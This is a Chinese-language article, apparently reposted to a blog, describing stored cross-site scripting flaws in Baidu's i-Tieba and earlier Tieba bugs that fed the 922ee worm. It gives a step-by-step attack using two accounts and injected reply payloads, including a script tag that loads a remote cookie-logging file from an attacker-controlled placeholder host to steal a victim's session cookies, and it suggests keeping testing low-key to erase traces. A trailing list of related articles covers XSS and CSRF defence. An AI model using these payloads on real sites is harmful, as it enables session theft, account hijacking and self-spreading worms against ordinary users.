百度i贴吧0day跨站漏洞

经常逛百度贴吧的读者们可能知道,百度在去年 12月31号晚和1月 1号晚一共爆出了3大0day跨站漏洞,都是高危级别的,2个 bug是和小游戏有关的,剩下一个是与贴吧中显示的会员徽章有关。

在说本文的 0day前,我们先来看看之前的3个 bug是怎么被发现和利用的。

首先是前 2个bug,在去年 12月 31号下午的时候,小游戏提交分数的算法首先被我的一个朋友反编译出来,并翻译成 vbs脚本语言,随之而来的是Chrome浏览器插件,可以直接写你想要的分数。

接着,我看到了有-1分,本着好奇心,笔者尝试使用公开的vbs脚本提交了一串英文,想不到居然成功提交了,并且出现在 i贴吧上:

理应显示数值的地方居然可以显示英文,我对百度的工作人员制作数据库的能力表示极大的怀疑。紧接着,是笔者的另外一个朋友,看到我的显摆后立刻尝试输入 <script>标签,没错,脚本被执行了!可惜这个漏洞暴露的太快,很快就被百度的工作人员修复了,不能提交非数字字符了。就在其以为没有问题后,其实为小游戏显摆的第 2个bug的爆发给足了充分的准备时间。

在同一个地方,除了分数显示上有问题外,在前面的贴吧名称的显示上也存在着问题。

可能是由于这个小游戏能在小游戏吧和黄金矿工吧上玩,所以百度显摆游戏成绩的时候还要提交贴吧的名称,这时,我们试着提交了“</a><script>alert(“xxx”); </script><a href=”xxx”>黄金矿工”这样的贴吧名称,没错,有弹框跳出来,立刻删掉,去做充分的准备了。

接下来的事大家都知道了,就是在 1月1号晚上爆发了922ee病毒,因为都是最高分,我们从黄金矿工的排名上可以看出,每秒有 400多人的感染速度,这个是相当可怕的(922ee脚本病毒的代码见附件)。

同一天晚上暴露的另外一个跨站漏洞就是会员徽章的 bug,由于准备不够充分,被另外一个人泄露出去了,所以没有怎么利用,不过那次可谓是“全民”使用漏洞!由于会员徽章是在头像附近的,所以几乎所有看到使用方法的都去尝试使用这个漏洞,那时间百度贴吧弹框不断啊!

更有趣的是百度在1月 6号的更新了一次贴吧版本,居然把以前已经修复的会员徽章bug的又爆出来了,不过这次很速度的在1小时左右就修复了,看来曾经的补丁只是临时的,更新后没有把修正的补丁也弄上去。

之前的3大漏洞就介绍到这里,另外值得一提的是,其实投票系统在 4号之前也有个0day的漏洞,在投票选项中写入HTML代码居然没有过滤,直接被写入了网页代码,如图

可惜不知为什么不能直接执行 script代码,但是我们兴许可能使用Cross Iframe Trick的方法来突破 iframe的限制。(现在百度在贴吧中已经修复,不过在笔者投稿的时间的时候,i贴吧的投票系统的bug依然存在)现在我们就来说说这次的漏洞吧,不过我事先要先申明,请不要利用该漏洞做违反法律法规的事哦~这个漏洞只供大家技术上研究。研究的时候请尽量保持低调,最好在有吧主权限的贴吧使用,这样研究完后可以方便的清除痕迹。

首先我们要准备 2个账号,一个为受影响的账号(1号),一个为攻击账号(2号)。

这里笔者推荐大家使用 Chrome浏览器,它可以方便的调试网页代码。

先来说说原理吧,这次的 0day漏洞一样出在i贴吧上,看来百度没有做好测试工作就迫不及待放出了 i贴吧。

由于百度 i贴吧的机制类似与微博,会显示关注的发言回复等等数据和自己收到的回复。

问题就出现在显示自己收到的回复上,i贴吧不像贴吧上回复发帖显示的过滤都做得很严密,它会把部分回复显示在 i贴吧中,这时,如果是使用HTML代码回复的,在贴吧中看不出什么,代码也不会被执行,但是在 i贴吧中就不一样了,它对一部分文本不做任何的处理就直接 write到网页上了,这就出现跨站漏洞了!我们接下的的事就是去仔细研究它了。

首先,我们使用 1号账号先发个帖,这是为了方便攻击做的准备(我们可以使用2个浏览器,这样会方便很多)。然后用 2号先随便回复一点东西(这是测试,可以不回直接到第二步),看,1号账号的用户栏下出现了一个新回复的提示:

我相信经常使用百度贴吧的用户是不会对这个提示视而不见的。

第二步,我们用精心设计好的脚本代码回复 1号,为了方便起见,我们就用如下代码测试吧:

<script>alert(document.cookie);</script>

由于百度 i贴吧显示的时候会在其上加上超链接,所以我们最好用</a>来关闭超链接:

</a><script>alert(document.cookie);</script><a>

回帖,要保证最后回复的内容是这个代码才有效的,因为 i贴吧中只显示最后回复。

这时,我们的 2号账号的操作已经算完成了,等着1号账号查看回复就好了!点进 1号账号的i贴吧中的回复我的:

看,出现了对话框了,而注意网页正好加载到回复的引号后面,正是显示我们的代码的地方。再看网页源代码:

确实我们回帖的内容被写入了网页。

现在,我们就尝试的加载脚本文件,相信下面的代码读者们都已经很熟悉了吧:

<scriptsrc=”http://xxx”></script>

将其中的 http://xxx换成我们的脚本文件地址就好了,这里笔者测试使用的是记录Cookies的脚本文件。

由于是回帖我们还是加上</a>和<a>来回帖吧!

回帖后帖子内部虽然是被编码过的,但是不用担心,1号账号还查看回复呢!

转到 1号账号中i贴吧的的回复我的页面,果然,回复那里引号中是网页上显示的内容是空的,使用 Chrome的话直接在引号处点击右键,选审查元素,就可以直接转到鼠标右击位置的源代码:

看到了吧,代码被插入了!

再看看我们的服务器上的文件:

Cookie被记录到了,说明我们的代码被正确执行了!

说到这里我相信读者们已经明白是怎么一回事了吧。另外,由于百度的防御体系问题,发出去带不明链接的帖子、回复可能会被删除,但是 i贴吧中还是会显示最后回复,不管有没有被删,这种机制反而能起到隐藏攻击的作用,这就叫聪明反被聪明误吗?

最近百度暴露出的漏洞都是些高危漏洞,作为一个网站开发人员,特别是这种互交性很强的网站,这些问题都是值得我们借鉴的,我们要尽可能不在网站的任何一处出现高危漏洞,以防止被攻击者利用,来挂马,成为传播病毒的摇篮。

时间: 2024-10-06 22:18:11

百度i贴吧0day跨站漏洞的相关文章

XSS跨站漏洞 加强Web安全

第1章 课程介绍简单介绍课程的内容.1-1 课程介绍 试看 第2章 基础知识在基础知识章节中主要让同学们对XSS有一个总体的概念,对XSS的原理及危害,以及XSS的类型有一个概念,这个章节中包含了 XSS介绍及原理.反射型XSS.存储型XSS.DOM型XSS等内容.2-1 XSS介绍及原理 试看2-2 反射型XSS实战及防御 试看2-3 存储型XSS实战及防御2-4 DOM型XSS实战及防御 第3章 工具使用在工具使用章节中主要让同学们对掌握挖掘XSS漏洞的一些工具使用方法,比如网站扫描,暴力测

修复XSS跨站漏洞

XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤. 1.输入与输出 在HTML中,<,>,",',&都有比较特殊的意义.HTML标签,属性就是由这几个符合组成的.PHP中提供了 htmlspecialchars().htmlentities()函数可以把一些预定的字符转换为HTML实体. &成为& "成为" '成为' <成为< 成为> 2.HttpOnly HttpOnly对防御XSS漏洞不起作用,主要是为了解决XS

URL存在跨站漏洞http host头攻击漏洞解决方案

最近项目部署的时候客户使用的绿盟扫描出一些漏洞,老大让我处理,经过看大神的博客等方式,分享一些简单的解决方法. 一 跨网站脚本 跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响.这类攻击通常包含了HTML以及用户端脚本语言. XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击

跨站攻击与文件上传漏洞

SQL注入: 原理:用户输入作为SQL命令被执行 SQL注入实践,SQLMAP 黑名单校验: 前端Javascript校验: Content-type校验: 任意文件下载漏洞: 二.跨站脚本漏洞: 原理:跨站漏洞是一种 经常出现在Web应用程序中的计算机安全漏洞,是由于Web 应用程序中对用户的输入过滤不足,而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,   其他用户浏览这些网页时就会执行其中的恶意代码,对受害者可能采取Cookie窃取.会话劫持.钓鱼欺骗等各种攻击. XSS漏洞成

XSS跨站及利用

(一)软件测试环境以及搭建 测试环境:本地 XAMPP 1.7.1 测试软件:PHP168整站v5.0 软件下载地址 http://down2.php168.com/v2008.rar PHP.ini 配置: magic_quotes_gpc Off(On或者Off对持久型XSS并无没影响) ;register_globals Off ;safe_mode Off ; (二)XSS跨站基础 1.XSS攻击定义 XSS又叫CSS (Cross Site Script) ,简称跨站脚本攻击.它指的是

web前端安全 XSS跨站脚本 CSRF跨站请求伪造 SQL注入

web安全,从前端做起,总结下web前端安全的几种技术: 1,XSS XSS的全称是Cross Site Scripting,意思是跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记 XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有 跨站漏洞 的网页,然后构造跨站语句,通过结合其它技术,如社会工

web前端安全:XSS跨站脚本、CSRF跨站请求伪造、SQL注入等

介绍几种前端安全攻击方式,以及预防的方法: 1. XSS XSS(Cross Site Scripting)跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记. XSS攻击分成两类 1. 来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句. 2. 来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员

深入解析跨站请求伪造漏洞:实例讲解

本文的上篇中,我们着重介绍了跨站请求伪造的原理,并指出现有的安全模型并不能真正防御这种攻击.在下篇中,我们将向读者介绍在一些大型站点上发现的几个严重的CSRF漏洞,攻击者利用这些漏洞不仅能够采集用户的电子邮件地址,侵犯用户隐私并操控用户帐户.如果金融站点出现了跨站请求伪造漏洞的话,这些漏洞甚至允许攻击者从用户的银行帐户中划走资金.为了全面的防御CSRF攻击,建议对服务器端进行改造.此外,本文还会介绍服务器端解决方案应具备的特征,如果缺乏这些特性,就会导致CSRF保护措施不必要地妨碍典型的web浏

深入解析跨站请求伪造漏洞:原理剖析

当存心不良的Web站点导致用户的浏览器在可信的站点上进行非意愿的活动时,我们就说发生了跨站请求伪造(CSRF)攻击.这些攻击被誉为基于Web的漏洞中的“沉睡的巨人”,因为互联网上的许多站点对此毫无防备,同时还因为这类攻击一直为web开发和安全社区所忽视. 一.概述 当存心不良的Web站点导致用户的浏览器在可信的站点上进行非意愿的活动时,我们就说发生了跨站请求伪造(CSRF)攻击.跨站请求伪造攻击亦称跨站引用伪造(XSRF),会话叠置和混淆代理人攻击.我们之所以使用术语CSRF,是因为它是描述这类